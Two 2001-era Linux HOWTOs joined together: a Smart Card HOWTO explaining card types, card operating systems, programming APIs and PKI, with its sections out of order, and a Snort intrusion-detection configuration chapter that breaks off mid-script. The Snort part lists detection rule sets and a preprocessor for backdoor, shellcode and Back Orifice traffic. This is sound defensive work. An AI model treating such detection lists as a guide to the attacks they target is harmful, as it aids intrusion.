There is one another type of smart card, combo card. A combo card has a contact pad for the transaction of large data, like PKI credentials, and a wire loop for mutual authentication. Contact smart cards are mainly used in electronic security whereas contactless cards are used in transportation and/or door locks.

3.2. Memory vs Microprocessor

The most common and least expensive smart cards are memory cards. This type of smart cards, contains EEPROM(Electrically Erasable Programmable Read-Only Memory), non-volatile memory. Because it is non-volatile when you remove the card from the reader, power is cut off, card stores the data. You can think of EEPROM, inside, just like a normal data storage device which has a file system and managed via a microcontroller (mostly 8 bit). This microcontroller is responsible for accessing the files and accepting the communication. The data can be locked with a PIN (Personal Identification Number), your password. PIN's are normally 3 to 8 digit numbers those are written to a special file on the card. Because this type is not capable of cryptography, memory cards are used in storing telephone credits, transportation tickets or electronic cash.

Microprocessor cards, are more like the computers we use on our desktops. They have RAM, ROM and EEPROM with a 8 or 16 bit microprocessor. In ROM there is an operating system to manage the file system in EEPROM and run desired functions in RAM.
              ----------------
             |  8 or 16 bit   |
  Reader <===| microprocessor |-----+
              ----------------      |
                                    |
                                    |---> RAM
              NON-CRYPTOGRAPHIC     |
                    CARD            |---> ROM
                                    |
                                    +---> EEPROM
As seen in the diagram above all communication is done over the microprocessor, There is no direct connection between the memory and the contacts. The operating system is responsible for the security of the data in memory because the access conditions are controlled by the OS.

              ----------------             --------
             |  8 or 16 bit   |           | Crypto |
  Reader <===| microprocessor |-----------| Module |
              ----------------      |      --------
                                    |
                                    |---> RAM
                CRYPTOGRAPHIC       |
                    CARD            |---> ROM
                                    |
                                    +---> EEPROM

With the addition of a crypto module our smart card can now handle complex mathematical computations regarding to PKI. Because the internal clock rate of microcontrollers are 3 to 5 MHz, there is a need to add a component, accelerator for the cryptographic functions. The crypto-cards are more expensive than non-crypto smart cards and so do microprocessor card than memory cards.

Depending on your application you should choose right card.

Prev | Home | Next
What is a Smart Card? |  | Operating Systems


Smart Card HOWTO

Tolga KILIÇLI

tolga@deepnight.org

Copyright © 2001 by Tolga KILIÇLI

Revision History
Revision 1.0.4 2001-09-19 Revised by: tk
This is the first release of Smart Card HOWTO.

This document gives information on the smart card technology and its applications in Linux environment. Smart cards are mainly used in situations where security is an issue. But this is not the only situation where smart cards are used. They have many properties which a service provider wants to use, such as "one card for many applications".

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Feedback
1.5. Translations
2. What is a Smart Card?
3. Classification of Smart Cards
3.1. Contact vs Contactless
3.2. Memory vs Microprocessor
4. Operating Systems
5. Programming
5.1. CT-API
5.2. PC/SC
5.3. OpenCard
5.4. GlobalPlatform
5.5. To Sum Up
6. Applications on Linux
6.1. scas
6.2. smartcard
6.3. ssh-smart
6.4. smarttools-rsa
6.5. smartsign
6.6. CITI Projects
7. The Relation of Smart Cards with PKI
8. Further Information
8.1. News groups
8.2. Mailing Lists
8.3. Web Sites
9. TODO
Next
Introduction


Introduction

Smart Card HOWTO
Prev Next

1. Introduction

For various reasons this brand new release is codenamed the OberoN release.

New code names will appear as per industry standard guidelines to emphasize the state-of-the-art-ness of this document.

This document was written when a friend (JaSoN) asked me if I could write a document on smart cards and applications. And all the pages here was once a bunch of papers. Thanks JaSoN...

1.1. Copyright Information

Copyright (c) 2001 by Tolga KILIÇLI

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be fowarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP and the author know where it is available.

  2. License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

  3. Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

As the author of this document, I would like to list the derivative works and publications in this document.

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

This is the initial release.

The latest version number of this document can be found on my website.

1.4. Feedback

Please send your additions, comments and criticisms to the following email address : <tolga@deepnight.org>.

1.5. Translations

Not everyone speaks English, pointers to translations are nice. Also your translators tend to give very important inputs. If you want to translate this document in your own language please let me know so I could list it down here.

Prev | Home | Next
Smart Card HOWTO |  | What is a Smart Card?


Further Information

Smart Card HOWTO
Prev Next

8. Further Information

In this section there are places to visit for more in-depth information.

8.1. News groups

Some news groups are:

  • alt.technology.smartcards

  • sci.crypt.research

  • sci.crypt.random-numbers

8.2. Mailing Lists

From the MUSCLE Project, <sclinux@linuxnet.com>, Smart Card Developers mailing list. The subject of the list is smart card development under Unix and Mac OS. Just send <majordomo@linuxnet.com> with subscribe linux in the body of your mail. Also you can reach the archives at The Mail Archive. See linuxnet.com mailing list page for more information.

8.3. Web Sites

There are a huge number of informative web sites available. They could change and get outdated.

A good starting point is Movement for the Use of Smart Cards in a Linux Environment home page, an information central for documentation, project pages and much more.

Also, USENIX Workshop on Smartcard Technology can take your interest.

Please let me know if you have any other leads that can be of interest.

Prev | Home | Next
The Relation of Smart Cards with PKI |  | TODO


Operating Systems

Smart Card HOWTO
Prev Next

4. Operating Systems

New trend in smart card operating systems is JavaCard Operating System. JavaCard OS was developed by Sun Microsystems and than promoted to JavaCard Forum. Java Card OS is popular because it gives independence to the programmers over architecture. And Java OS based applications could be used on any vendor of smart card that support JavaCard OS.

Most of the smart cards today use their own OS for underlying communication and functions. But to give true support for the applications smart cards operating systems go beyond the simple functions supplied by ISO7816 standards. As a result porting your application, developed on one vendor, to another vendor of smart card becomes very hard work.Another advantage of JavaCard OS is, it allows the concept of post-issuance application loading. This allows you to upgrade the applications on smart card after delivering the card to the end-user. The importance is, when someone needs a smart card he/she is in need of a specific application to run. But later the demand can change and more applications could be necessary.

Another operating system for smart cards is MULTOS (Multi-application Operating System). As the name suggests MULTOS also supports multi-applications. But MULTOS was specifically designed for high-security needs. And in many countries MULTOS has achieved "ITSec E6 High" in many countries.

And also Microsoft is on the smart card highway with Smart Card for Windows.

In a point of view the above Operating Systems are Card-Side API's to develop cardlets or small programs that run on the card. Also there is Reader-Side API's like OpenCard Framework and GlobalPlatform.

Prev | Home | Next
Classification of Smart Cards |  | Programming


Programming

Smart Card HOWTO
Prev Next

5. Programming

5.1. CT-API

This API depends on the card terminal used, but supplies generic functions that allow communication with memory cards and processor cards. This API is a low level interface to the reader. But still used because it complies with the ISO7816 standards and have a simple programming logic resembling assembly. You just send code byes along with the data packets and receive the response.

5.2. PC/SC

PC/SC Workgroup is responsible for the development of the PC/SC Specifications. Under Windows, MacOS and Linux corresponding APIs could be found. Under Linux, pcsc-lite suit could be downloaded from http://www.linuxnet.com.

5.3. OpenCard

OpenCard Framework, OCF, is an object-oriented framework for smart card communications. OCF uses Java's inter-operability between environments to deploy architecture and APIs for application developers and service providers.

5.4. GlobalPlatform

GlobalPlatform was formed in 1999 by organizations those were interested in issuing multiple application smart cards. The major goal of GlobalPlatform is to define the specifications and infrastructure for multi-application smart cards.

5.5. To Sum Up

As you could understand from above, the standardization period of smart cards is not finished. The demand on smart cards is growing on the basis of end-user and developer. In my opinion, if you are a developer or in a decision making position, you should carefully analyse all the standards as well as the companies manufacturing smart cards. As a developers point of view, in the near future I think, Java will evaluate itself as the standard because of portability and cross-platform uses in spite of its slowness and fast evolution.

Prev | Home | Next
Operating Systems |  | Applications on Linux


What is a Smart Card?

Smart Card HOWTO
Prev Next

2. What is a Smart Card?

Simple plastic card, just at the size of a credit card, with a microprocessor and memory embedded inside is a smart card. Beside its tiny little structure it has many uses and wide variety of applications ranging from phone cards to digital identification of the individuals.

These application could be; identity of the customer, library card, e-wallet, keys to various doors, etc... And only one card can be issued to an end-entity for all these applications. Smart cards hold these data within different files, and , as you will read, these data is only visible to its program depending on the operating system of the card. These data files are arranged in a file system much like a Linux directory structure.

                                MF (Master File)
                                       |
                          -------------+--------------
                          |            |             |
               EF (Elementary File)    EF   DF (Dedicated File)
                                                     |
                                            ---------+--------
                                            |        |       |
                                            EF       DF      EF
                                                     |
                                                     EF

MF (Master File), can be seen as the root directory where the headers of elementary files and dedicated files are contained. Dedicated files are like the ordinary directories and elementary files are just data files. The PIN is also stored in an EF but only the card has access permission to this file. The attributes of the files on UNIX environments are changed to access conditions. Many cards have access condition lists which must be fulfilled before accessing the data.

With the file system, access conditions, a microcomputer, RAM, ROM, EEPROM a smart card is just a computer running its own operating system inside your wallet.

Prev | Home | Next
Introduction |  | Classification of Smart Cards


The Relation of Smart Cards with PKI

Smart Card HOWTO
Prev Next

7. The Relation of Smart Cards with PKI

As we already know smart cards are secure place to hold sensitive data, such as money and identity. And if the identity is the subject we should talk about PKI, Public Key Infrastructure, and smart cards.

Think that, you are working in a company with many branch offices and many facilities. In such large companies often employers have access permissions to different physical places. Also you access the servers inside the company for various purposes like sending mail, uploading the web pages and accessing the databases of the company. Just think, one password for each server and one key for each door and some money in your wallet to buy food or drink from the local restaurant.

Actually you could just use a smart card. If you use a microprocessor card and a the cards operating software or Java cardlets permit, you could use only one card for all these. For this scenario to work, the company must establish a local CA, Certificate Authority. Below there is a diagram showing the structure of a PKI simply, as described in RFC 2459.

       +---+
       | C |                       +------------+
       | e | <-------------------->| End entity |
       | r |       Operational     +------------+
       | t |       transactions          ^
       |   |      and management         |  Management
       | / |       transactions          |  transactions
       |   |                             |                PKI users
       | C |                             v
       | R |       -------------------+--+-----------+----------------
       | L |                          ^              ^
       |   |                          |              |  PKI management
       |   |                          v              |      entities
       | R |                       +------+          |
       | e | <---------------------| RA   | <---+    |
       | p |  Publish certificate  +------+     |    |
       | o |                                    |    |
       | s |                                    |    |
       | I |                                    v    v
       | t |                                +------------+
       | o | <------------------------------|     CA     |
       | r |   Publish certificate          +------------+
       | y |   Publish CRL                         ^
       |   |                                       |
       +---+                        Management     |
                                    transactions   |
                                                   v
                                               +------+
                                               |  CA  |
                                               +------+

  • end entity: user of PKI certificates and/or end user system that is the subject of a certificate;

  • RA: registration authority, i.e., an optional system to which a CA delegates certain management functions; (in some implementations, where you register your self to the system)

  • CA: certification authority; (Your public key, can be issue when you register yourself or can be self-issued, is signed and your certificate is issued to you at CA)

  • repository: a system or collection of distributed systems that store certificates and CRLs, Certificate Revocation Lists, and serves as a means of distributing these certificates and CRLs to end entities.

In fact, this is just a simplified view of the entities PKI. The employer or the end entity just applies to the CA or RA to get a certificate A certificate is just a public key digitally signed with the issuer's, CA, private key. By signed with the CA's private key, all which trust the CA, can also trust the end entity. Your digital ID is ready. Just write your digital ID and private key to your smart card. Or a better way, new smart cards are deployed with embedded functions that generate public and private keys inside the card which means your private key is not exported to anywhere.

New deployed cards are capable of PKI functions which you do not need to export the private key to the application you use. For example when you want to send a signed mail, your mail applications first generates a hash of the document you just wrote and starts the communication with the card. Your application sends the hash value to the card which is than signed with your private key inside the card. By this way your private key is never exported to the public, your computer.

Also, while accessing your remote shell account you could use ssh, secure shell, client. In man page of OpenSSH, an authentication method for ssh protocol 2 is described. Main purpose of the method is true identification of the person trying to access the account and secure connection between the host, if the user is accepted. Theoretically, only you can know your private key. Although your private key is only readable by yourself, this could be a security risk. But if your private key is inside a smart card, this is an increased security. Of course, a smart card can get lost. But at this point another security subject is on the line, your PIN. Generally speaking, smart card's security comes from two things, one you know and one you own.

SSH is not the only application that smart cards can be used. Other applications like, money transactions on the net, identification of yourself to the website you connect can be done with smart cards. The system is more or less the same. Your identification is checked via your private key and secure session is started with your keys. Than application specific part comes which is designed and deployed by the service provider of the application. Some money transactions are just done inside the smart card but some applications just ask the card for your banking account number. There could be more methods.

Electronic locks that can communicate with a smart card can be found on the market. PKI can support, in addition to the mutual authentication between the card and the reader, access accounting in the building. Just mutual authentication can be used or the lock ask to a local server that keeps the user data and checks if the user is permitted to go behind the door. And whether the permission is granted or not the server keeps the tracks of the access trials.

With integration of smart cards into PKI world, many more applications could be built. These application are mostly security specific or to ease the life of the customers.

Prev | Home | Next
Applications on Linux |  | Further Information


TODO

Smart Card HOWTO
Prev

9. TODO

As all HOWTOs should be, this document will retain in "Under Development" phase as long as smart card technology is not obsolete.

  • The part about the physical characteristics of smart cards should be re-organized.

  • In the "Programming" section there must be more information about the standards of programming smart cards.

  • A new section of examples must be added.

  • Scenario section (e.g. Building a Corporate PKI) should be added with in-depth information. (I will add some time in a few weeks :))

  • There could be a section about the tamper resistance of smart cards. How tamper resistance is supplied and how secure is smart cards against new high-tech gamers. (I have found some references and information but they must be organized before adding.)

Wow, it seems like I have many things to add :))

Prev | Home
Further Information |


Configuration

Snort-Setup for Statistics HOWTO
Prev Next

4. Configuration

This chapter describes the various configuration tasks to get snort and the tools up and running.

Since I am using RedHat linux 7.x all the given pathnames and configuration options are eventually RedHat specific while there should be no big problem to transfer it to any other distribution.

4.1. Setting up Linux for Snort

Instead of doing the work twice I only provide a link to a document describing the various tasks of compiling/installing MySQL, Apache, ACID etc. by Jason Lewis: http://www.packetnexus.com/docs/packetnexus/

Please keep in mind that I'm not the author of either the document or the scripts mentioned there. I didn't even test the scripts so please don't ask me about them ;)

4.2. Configuring Snort

You can start installing snort by getting the actual tarball from http://www.snort.org/ and compile it yourself or try to find precompiled binaries for your distribution.

For version 1.8.3 you can find precompiled binaries for rpm based linux distributions, FreeBSD, Solaris and Windows at www.snort.org.

I'm no longer maintaining my own RPMS since work hasn't to be done more than once. But I will offer you my adjusted snortd.multi initscript at http://www.lug-burghausen.org/projects/Snort-Statistics/snortd.multi.

My old 1.8.1 RPMS with MySQL support (but without PostgreSQL support!) can still be found at http://www.lug-burghausen.org/projects/Snort-Statistics/snort-1.8.1-4.i386.rpm. To create a postgreSQL enabled version, download the Source RPM, edit the spec file and rebuild the RPM. If you are not familiar with creating RPMs you should have a look on the RPM-HOWTO or http://www.rpm.org/ where Maximum RPM is located, a downloadable book about RPM along with other good sources about RPM.

4.2.1. /etc/snort/snort.conf

After installing the RPM we have to edit /etc/snort/snort.conf to reflect our needs. Martin Roesch created the Snort Users Manual which is shipped with the snort tarball and the RPMS as a PDF version. You should have a look on it to see which options you would like to use as not all but only the ones needed for our configuration here will be covered in this document.

Also the example configuration /etc/snort/snort.conf shipped with the tarball/RPM is a good place to start because of the detailed remarks.

4.2.1.1. Snort Variables

First we define various variables like HOME_NET, EXTERNAL_NET and DNS_SERVERS to reflect our network topology. Make sure you use the right addresses or you get weird, or worse, no alarms.

When using snort in a complex environment, let's say one sensor with multiple interfaces to watch, the definition of HOME_NET and EXTERNAL_NET may be hard or at least results in a very long list, you can set both variables to any. You loose some kind of pre-filtering for the sake of not having to put in dozens of network ranges in a large internal network. And you minimize the performance impact of having snort run through a huge list of addresses for each packet.

To get rid of some nasty messages of (false) portscans define the variable DNS_SERVERS to hold all ip addresses of dns-servers along with other nodes like network management stations triggering snort's portscan module. This is an ongoing process.

You also can define your own variables here which you can refer to in your own rules. This is helpful e.g. if using pass rules to suite your environment.

Define all other variables to appropriate values or as in the shipped /etc/snort/snort.conf to $HOME_NET.

      var HOME_NET any
      var EXTERNAL_NET any
      # DNS_SERVERS holds the addresses of "noisy" computers like DNS or NWM
      # to be ignored from portscans
      var DNS_SERVERS [1.1.1.1/32,2.2.2.2/32]
      var SMTP_SERVERS $HOME_NET
      ...

4.2.1.2. Snort Preprocessors

Next we have to set up the preprocessors to be used. While the more preprocessors you use you get more triggers for alarms but for the cost of performance. So be careful in choosing preprocessors.

You should also have a look on Marty's Snort Users Manual because some preprocessors are deprecated. For those you should use the new introduced ones.

The preprocessors minfrag and stream are depricated in favor of stream4, and defrag is deprecated by frag2.

frag2 is the new IP defragmentation processor introduced in snort v1.8 which should be more memory efficient than defrag/minfrag.

From the Snort Users Manual: The stream4 module provides TCP stream reassembly and stateful analysis capabilities to Snort. Robust stream reassembly capabilities allow Snort to ignore ''stateless'' attacks such as stick and snot produce.Stream4 also gives large scale users the ability to track more than 256 simultaneous TCP streams. Stream4 should be able to scale to handle 64,000 simultaneous TCP connections.

The stream4 module consists of two preprocessors called stream4 and stream4_reassemble, which both have to be used.

There are various options for both preprocessors while we will use only - for stream4 - detect_scans for getting alarms for portscan events and detect_state_problems to be informed when stream events like evasive RST packets, data on SYN packets and out of window sequence numbers occur.

With stream4_reassemble we use the option ports all what makes the reassembly catch all ports instead of only some predefined ones. To be honest, this is some kind of paranoic and impacts the cpu utilization of the snort sensor, but since I didn't get any bad results listening on a Pentium III 800 MHz on three 100 Mbit/s full duplex lines with average to low utilization I think it's the better solution.

Two other preprocessors we will use are portscan and portscan-ignorehosts which are responsible for portscan detection (portscan) and for which hosts portscan detection has to be ignored (portscan-ignorehosts).

For portscan we define to look for every network using the form 0.0.0.0/0, set the number of port numbers to be accessed in the also to be defined detection period in seconds. Additionally we have to provide the complete path to the portscan logfile.

With portscan-ignorehosts we get rid of some weird alarms from hosts which talk too much and trigger portscan detection like name servers and network management stations (see variable DNS_SERVERS above).

Some preprocessors which are not (yet) mentioned in Marty's Users Manual but we will use are unidecode which is a replacement of http_decode and normalizes http and UNICODE attacks, rpc_decode to normalize rpc traffic on a given port, bo to check for back orifice traffic and telnet_decode to normalize telnet negotiation strings.

Other preprocessors like SPADE are not yet covered here but may be in a future version. Contributions are very welcome >;)

After all that theoretical stuff here is the preprocessor part of /etc/snort/snort.conf:

      preprocessor frag2
      preprocessor stream4: detect_scans detect_state_problems
      preprocessor stream4_reassemble: ports all
      preprocessor unidecode: 80 8080
      preprocessor rpc_decode: 111
      preprocessor bo: -nobrute
      preprocessor telnet_decode
      preprocessor portscan: 0.0.0.0/0 6 3 /var/log/snort/portscan.log
      preprocessor portscan-ignorehosts: $DNS_SERVERS

4.2.1.3. Snort Output Modules

The next part is the configuration of the output modules of which we will use the syslog module alert_syslog to send alerts to syslog and database to additionally log to a MySQL database.

The alert_syslog module requires some options for what has to be logged. If like in my case you are using SnortSnarf to analyse the logfile you'll have to add the option LOG_PID else SnortSnarf has problems.

As stated before we will use ACID and thus we need to set up snort to log to a database. I chose MySQL for no particular reason (well, I've heard more from MySQL than from postgreSQL but that's all).

The database output module requires the following parameters:

log | alert

Log to the alert facility. Also possible would be the log facility. If you would like to get portscan alerts into the database you have to use alert here.

mysql|postgrsql|odbc|oracle|mssql

This is the type of database.

user=<username>

Here you define the username to be used with the database.

password=<password>

The required password for the given user.

dbname=<databasename>

The name of the database to be used for logging into.

host=<hostname>

Here you define the host on which the database is running. Use localhost if the database is running on the snort sensor itself.

sensor_name=<sensor name>

Here you put in a unique name which is used to differentiate between various sensors if more than one is logging into a single database.

Now let's take a look on the output module part of /etc/snort/snort.conf:

       output alert_syslog: LOG_AUTH LOG_ALERT LOG_PID
       output database: alert, mysql, user=snort password=mypassword dbname=snort host=localhost sensor_name=mysensor

If you are using more than one physical snort sensor and would log to a database I would recommend using a central database on a separate machine. You then can correlate alert data with a single console getting a better overview when attacks are found.

4.2.1.4. Snort Rule Sets

The rules are the vital part of snort. There are various categories of rules shipped with snort. They can be found in /etc/snort/, ending with *.rules. The format in version 1.8+ has changed to reflect the classification types. In addition priority settings of the classtypes can also be defined.

If you're using the original snort tarball I suggest copying all rule files and classification.config into it.

The configuration of classification types is done in /etc/snort/classification.config. Normally you don't have to touch it since it is preconfigured for the shipped snort rules. But if you (again like me) are using Max Vision's vision.rules you'll have to add some lines because the classtypes are different. Just copy and paste all config classification: lines from vision.conf to /etc/snort/classification.config. And remember to take the vision.rules for snort 1.8 (called vision18.rules and vision18.conf on http://www.whitehats.com/) as the older ones are not prepared for the new format introduced in snort 1.8!

Here's the /etc/snort/classification.config I used with vision.rules:

       #
       # config classification:shortname,short description,priority
       #
       #config classification: not-suspicious,Not Suspicious Traffic,0
       config classification: unknown,Unknown Traffic,1
       config classification: bad-unknown,Potentially Bad Traffic, 2
       config classification: attempted-recon,Attempted Information Leak,3
       config classification: successful-recon-limited,Information Leak,4
       config classification: successful-recon-largescale,Large Scale Information Leak,5
       config classification: attempted-dos,Attempted Denial of Service,6
       config classification: successful-dos,Denial of Service,7
       config classification: attempted-user,Attempted User Privilege Gain,8
       config classification: unsuccessful-user,Unsuccessful User Privilege Gain,7
       config classification: successful-user,Successful User Privilege Gain,9
       config classification: attempted-admin,Attempted Administrator Privilege Gain,10
       config classification: successful-admin,Successful Administrator Privilege Gain,11

       # added from vision18.conf
       # classification for use with a management interface
       # low risk
       config classification: not-suspicious,policy traffic that is not suspicious,0
       config classification: suspicious,suspicious miscellaneous traffic,1
       config classification: info-failed,failed information gathering attempt,2
       config classification: relay-failed,failed relay attempt,3
       config classification: data-failed,failed data integrity attempt,4
       config classification: system-failed,failed system integrity attempt,5
       config classification: client-failed,failed client integrity attempt,6
       # med risk
       config classification: denialofservice,denial of service,7
       config classification: info-attempt,information gathering attempt,8
       config classification: relay-attempt,relay attempt,9
       config classification: data-attempt,data integrity attempt,10
       config classification: system-attempt,system integrity attempt,11
       config classification: client-attempt,client integrity attempt,12
       config classification: data-or-info-attempt,data integrity or information gathering attempt,13
       config classification: system-or-info-attempt,system integrity or information gathering attempt,14
       config classification: relay-or-info-attempt,relay of information gathering attempt,15
       # high risk
       config classification: info-success,successful information gathering attempt,16
       config classification: relay-success,successful relay attempt,17
       config classification: data-success,successful data integrity attempt,18
       config classification: system-success,successful system integrity attempt,19
       config classification: client-success,successful client integrity attempt,20

The classification and rule files are included in /etc/snort/snort.conf. Some rule files used here have been copied from the CVS, e.g. virus.rules because they were not shipped with the standard distribution.

As stated before the vision.rules file will be fetched via the tool arachnids_upd which is discussed later.

Arachnids_upd changes the name from vision18.rules to vision.rules but the rules are of course the ones prepared for snort 1.8+.

Since the variable definitions for INTERNAL and EXTERNAL in vision.rules are not the same as with the snort rules I use a script to change these names. Take a look at the arachnids_upd section below.

       # Include classification & priority settings
       include /etc/snort/classification.config

       include /etc/snort/exploit.rules
       include /etc/snort/scan.rules
       include /etc/snort/finger.rules
       include /etc/snort/ftp.rules
       include /etc/snort/telnet.rules
       include /etc/snort/smtp.rules
       include /etc/snort/rpc.rules
       include /etc/snort/rservices.rules
       include /etc/snort/backdoor.rules
       include /etc/snort/dos.rules
       include /etc/snort/ddos.rules
       include /etc/snort/dns.rules
       include /etc/snort/netbios.rules
       include /etc/snort/web-cgi.rules
       include /etc/snort/web-coldfusion.rules
       include /etc/snort/web-frontpage.rules
       include /etc/snort/web-iis.rules
       include /etc/snort/web-misc.rules
       include /etc/snort/sql.rules
       include /etc/snort/x11.rules
       include /etc/snort/icmp.rules
       include /etc/snort/shellcode.rules
       include /etc/snort/misc.rules
       include /etc/snort/policy.rules
       include /etc/snort/info.rules
       #include /etc/snort/icmp-info.rules
       include /etc/snort/virus.rules
       include /etc/snort/local.rules

       # vision.rules will be catched by arachnids_upd
       include /etc/snort/vision.rules

When you are done with setting up /etc/snort/snort.conf you should start snort by calling /etc/rc.d/init.d/snortd start and correct any errors you get in the log file /var/log/messages (ignore any database related messages since the database has not been set up at this time, you also may have to document out the output module database). If everything is ok you can go on with configuring the other parts.

4.2.2. /etc/rc.d/init.d/snortd

In /etc/rc.d/init.d/snortd you should edit at least the line with the interface to be "snort'ed". Replace the definition of INTERFACE="eth0" with the interface you use. This can be another ethernet (ethx) but also a pppx or ipppx interface, e.g. if you are using ISDN your definition should be like

     INTERFACE="ippp0"

If your snort sensor is only listening on one interface it's sufficient to use the shipped snortd initscript. But if you have more than one interface you may be interested in having a look onto the script I extended for exactly that case. Even when you only have one interface but wish to use swatch the way I do you could copy the swatch parts to the shipped snortd script (see the contrib section of the RPM's documentation).

Next you find the mentioned snortd initscript I extended for snort to listen on more than one interface. One could now say that you can also use any as an interface name since the underlying libpcap makes this possible, but that's not what I intended to use because I'm not interested in "snorting" the local network where the snort sensor is set up. This should - in a secure environment - be a separate network segment with additional security set up, e.g. a firewall for that segment, so sniffing does not make much sense except if you want to sniff attacks targeted to the snort network itself. Even then, if you use more than one sensor concentrated in that segment you only need to set up one but not all of the sensors for protecting the segment.

I added a new function daemonMult derived from RedHat's daemon function found in /etc/rc.d/init.d/functions which is capable of starting a program more than once. I sent RedHat a patch for their daemon function to introduce a new option --mult which eventually will be added. If that happens the daemonMult function will be obsolete and the call to snort would change from daemonMult ... to daemon --mult .... Let's wait and see.

I also changed the subsystem name from snort to snortd to get rid of error messages when rebooting (the killall script on a redhat box depends on the correct name), just a little typo.

With my script you can now define multiple interfaces to be watched on, just use a space separated list with the INTERFACE variable, like in the listing shown below.

Some sanity checks are also included to see if the interface to listen on is already up and if there is an IP address defined. If there is an IP address defined the correspondig config which on a RedHat linux box is found in /etc/sysconfig/network-scripts/ifcfg-<interface name> will be used, else the interface is set up as IP-less in promiscuous mode.

THIS HAS NOT YET BEEN TESTED WITH ANYTHING ELSE THAN ETHERNET INTERFACES! I WILL HOPEFULLY SOON REVIEW IT WITH ISDN INTERFACES AND REPORT HOW THE DIFFERENCES ARE!

A single snort process is then started on each interface, and also swatch will be started to check for errors when restarting snort for rule updates (see the swatch section below).

When shutting down snort all IP-less interfaces will be shut down but not any interfaces with existing IP configurations because that could last to inaccessability if the "snort'ed" interface is vital for the snort sensor (learned that the hard way >;)

Maybe a better solution would be to check the interface's config file for an entry like

     ONBOOT=yes

and only if there is not yes then the interface will be shut down. But that's not yet implemented.

Now here is the extended snort initscript:

#!/bin/sh
#
# snortd         Start/Stop the snort IDS daemon.
#
# chkconfig: 2345 40 60
# description:  snort is a lightweight network intrusion detection tool that
#               currently detects more than 1100 host and network
#               vulnerabilities, portscans, backdoors, and more.
#
# June 10, 2000 -- Dave Wreski Dave Wreski <dave at linuxsecurity.com>
#   - initial version
# July 08, 2000 Dave Wreski <<dave at guardiandigital.com>
#   - added snort user/group
#   - support for 1.6.2
# April 11, 2001 Sandro Poppi <spoppi at gmx.de>
#   - added multiple interfaces option for use with dial up lines
#     or more than one sniffer interface
#     I don't think the libpcap option to use "-i any" is a good choice,
#     because snort would be set up to monitor one or more ip-less interfaces
#     while leaving the monitor interface "unprotected"
#   - changed the subsystem name from snort to snortd to get rid of error messages
#     when rebooting (the killall script on a redhat box depends on the correct name)
#   - added a function daemonMult derived from the function daemon in /etc/rc.d/init.d/functions
#     to allow starting multiple instances of snort with the convenience of the daemon function
#     (eventually this could be integrated into the normal daemon function of redhat, have to get
#     in touch with the author)
# January 01, 2002 Sandro Poppi <spoppi at gmx.de>
#   - added check if swatch is installed
#   - added check for interfaces other than ethernet since only those are expected to work with ifconfig
#
# Source function library.
. /etc/rc.d/init.d/functions

# A function to start a program even more than once
# rewritten version of the daemon function in /etc/rc.d/init.d/functions
daemonMult() {
        # Test syntax.
        gotbase=
        user=
        nicelevel=0
        while [ "$1" != "${1##-}" -o "$1" != "${1##+}" ]; do
          case $1 in
            '')    echo '$0: Usage: daemon [+/-nicelevel] {program}'
                   return 1;;
            --check)
                   shift
                   base=$1
                   gotbase="yes"
                   shift
                   ;;
            --user)
                   shift
                   daemon_user=$1
                   shift
                   ;;
            -*|+*) nicelevel=$1
                   shift
                   ;;
             *)    nicelevel=0
                   ;;
          esac
        done

        # Save basename.
        [ -z $gotbase ] && base=`basename $1`

        # make sure it doesn't core dump anywhere; while this could mask
        # problems with the daemon, it also closes some security problems
        ulimit -S -c 0 >/dev/null 2>&1

        # Echo daemon
        [ "$BOOTUP" = "verbose" ] && echo -n " $base"

        # And start it up.
        if [ -z "$daemon_user" ]; then
           nice -n $nicelevel initlog $INITLOG_ARGS -c "$*" && success "$base startup" || failure "$base startup"
        else
           nice -n $nicelevel initlog $INITLOG_ARGS -c "su $daemon_user -c \"$*\"" && success "$base startup" || failure "$base startup"
        fi
}

# Specify your network interface(s) here
INTERFACE="eth1 eth2"

# See how we were called.
case "$1" in
start)
        if [ -x /usr/bin/swatch ] ; then
          echo -n "Starting swatch: "
          # inserted poppi to make use of swatch
          # starting it before snort to get hints on startup errors of snort
          # if using the snort option -s use /var/log/secure,
          # if using output alert_syslog: in snort.conf use /var/log/messages
          /usr/bin/swatch --daemon --tail /var/log/messages --config-file /etc/swatch/swatchrc &
          touch /var/lock/subsys/swatch
          echo "done."
          echo
        fi

        # added multiple interfaces option
        for i in `echo "$INTERFACE"` ; do
          echo -n "Starting snort on interface $i: "
          # inserted to implement ip-less sniffer interface for snort at startup
          # if the interface is not yet loaded or if the interface isn't up yet
          if [ `/sbin/ifconfig $i 2>&1 | /bin/grep -c "Device not found"` = "0" \
               -o `/sbin/ifconfig $i 2>&1 | /bin/grep -c "UP"` = "0" ] ; then

            # check for interfaces other than ethernet!
            if [ `echo $i | /bin/grep -c "^eth"` = "1" ] ; then
              # check if there is a config for the given interface
              # normally this should be omitted for security reasons for a sniffer interface
              if [ -s "/etc/sysconfig/network-scripts/ifcfg-$i" ]; then
                # use the config
                /sbin/ifup $i
              else
                # ip less sniffer interface
                /sbin/ifconfig $i up promisc
              fi
            fi
          fi
          # call the rewritten daemon function from above
          daemonMult /usr/sbin/snort -u snort -g snort -d -D \
                 -i $i -I -l /var/log/snort -c /etc/snort/snort.conf
          echo
        done

        touch /var/lock/subsys/snortd

        ;;
  stop)
        echo -n "Stopping snort: "
        killproc snort
        rm -f /var/lock/subsys/snortd

        # inserted Poppi
        if [ -x /usr/bin/swatch ] ; then
          echo
          echo -n "Stopping swatch: "
          kill `ps x|grep "/usr/bin/swatch"|grep -v grep|awk '{ print $1 }'`
          rm -f /var/lock/subsys/swatch
        fi

        # shutdown interface if and only if it has NO ip address
        # and if it is a ethernet interface
        # this is done because we don't want to shutdown interfaces still needed
        for i in `echo "$INTERFACES"`; do
